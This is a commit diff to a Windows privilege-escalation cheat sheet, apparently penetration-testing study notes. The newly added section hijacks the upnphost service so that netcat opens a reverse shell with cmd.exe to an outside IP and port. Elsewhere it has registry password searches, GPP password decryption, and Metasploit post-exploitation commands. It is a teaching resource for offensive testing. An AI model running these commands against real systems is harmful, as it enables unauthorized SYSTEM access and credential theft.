Commit 563d48f2 authored by bobloblaw's avatar bobloblaw
Browse files

Updates privilege_escalation_windows.md

Auto commit by GitBook Editor
parent b67b154f
Loading
Loading
Loading
Loading
+41 −38
Original line number Diff line number Diff line
@@ -94,7 +94,6 @@ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```


## Internal/Hidden Services

Sometimes there are services that are only accessible from inside the network. For example a MySQL server might not be accessible from the outside, for security reasons. It is also common to have different administration applications that is only accessible from inside the network/machine. Like a printer interface, or something like that. These services might be more vulnerable since they are not meant to be seen from the outside.
@@ -104,6 +103,7 @@ netstat -ano
```

Example output:

```
Proto  Local address      Remote address     State        User  Inode  PID/Program name
    -----  -------------      --------------     -----        ----  -----  ----------------
@@ -156,7 +156,6 @@ Just as in windows kernel exploits should be our last resource, since it might b
wmic qfe get Caption,Description,HotFixID,InstalledOn
```


### Python to Binary

If we have an exploit written in python but we don't have python installed on the victim-machine we can always transform it into a binary with pyinstaller. Good trick to know.
@@ -177,6 +176,16 @@ Yeah I know this ain't pretty, but it works. You can of course change the name S
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
```

## **Change the upnp service binary**
`
sc config upnphost binpath= "C:\Inetpub\nc.exe 10.11.0.191 6666 -e c:\Windows\system32\cmd.exe"`

`sc config upnphost obj= ".\LocalSystem" password= ""`

`sc config upnphost depend= ""`

## 

## Weak Service Permissions

Services on windows are programs that run in the background. Without a GUI.
@@ -222,10 +231,9 @@ Now you can process them one by one with the cacls command.
cacls "C:\path\to\file.exe"
```


### Look for Weakness

What we are interested in is binaries that have been installed by the user. In the output you want to look for **BUILTIN\Users:(F)**. Or where your user/usergroup has **(F)** or **(C)** rights.
What we are interested in is binaries that have been installed by the user. In the output you want to look for **BUILTIN\Users:\(F\)**. Or where your user/usergroup has **\(F\)** or **\(C\)** rights.

Example:

@@ -281,7 +289,7 @@ wmic process list brief | find "winlogon"

So when you get the shell you can either type **migrate PID** or automate this so that meterpreter automatically migrates.

http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html
[http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html](http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html)

## Unquoted Service Paths

@@ -317,9 +325,9 @@ c:\program.exe
When the program is restarted it will execute the binary **program.exe**, which we of course control. We can do this in any directory that has a space in its name. Not only program files.

This attack is explained here:  
http://toshellandback.com/2015/11/24/ms-priv-esc/
[http://toshellandback.com/2015/11/24/ms-priv-esc/](http://toshellandback.com/2015/11/24/ms-priv-esc/)

There is also a metasploit module for this is: exploit/windows/local/trusted_service_path
There is also a metasploit module for this is: exploit/windows/local/trusted\_service\_path

## Vulnerable Drivers

@@ -337,7 +345,7 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevat
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

http://toshellandback.com/2015/11/24/ms-priv-esc/
[http://toshellandback.com/2015/11/24/ms-priv-esc/](http://toshellandback.com/2015/11/24/ms-priv-esc/)

## Group Policy Preference

@@ -375,7 +383,6 @@ If we find the file with a password in it, we can decrypt it like this in Kali
gpp-decrypt encryptedpassword
```


```
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
@@ -384,7 +391,6 @@ Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
```


## Escalate to SYSTEM from Administrator

### On Windows XP and Older
@@ -421,7 +427,6 @@ vdmallowed.exe
vdmexploit.dll
```


## Using Metasploit

So if you have a metasploit meterpreter session going you can run **getsystem**.
@@ -434,7 +439,6 @@ exploit/windows/local/trusted_service_path

### Post modules


First you need to background the meterpreter shell and then you just run the post modules.  
You can also try some different post modules.

@@ -460,18 +464,17 @@ run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
```


## References

[http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/](http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/)  
[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)  
[https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/](https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/)  
[http://it-ovid.blogspot.cl/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.cl/2012/02/windows-privilege-escalation.html)  
[https://github.com/gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz)  
[http://bernardodamele.blogspot.cl/2011/12/dump-windows-password-hashes.html](http://bernardodamele.blogspot.cl/2011/12/dump-windows-password-hashes.html)  
[https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be](https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be)  
[https://www.youtube.com/watch?v=PC\_iMqiuIRQ](https://www.youtube.com/watch?v=PC_iMqiuIRQ)  
[http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/](http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/)  
[https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)  
[http://pwnwiki.io/\#!privesc/windows/index.md](http://pwnwiki.io/#!privesc/windows/index.md)
http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
http://www.fuzzysecurity.com/tutorials/16.html
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://it-ovid.blogspot.cl/2012/02/windows-privilege-escalation.html
https://github.com/gentilkiwi/mimikatz
http://bernardodamele.blogspot.cl/2011/12/dump-windows-password-hashes.html
https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be
https://www.youtube.com/watch?v=PC_iMqiuIRQ
http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
http://pwnwiki.io/#!privesc/windows/index.md
 No newline at end of file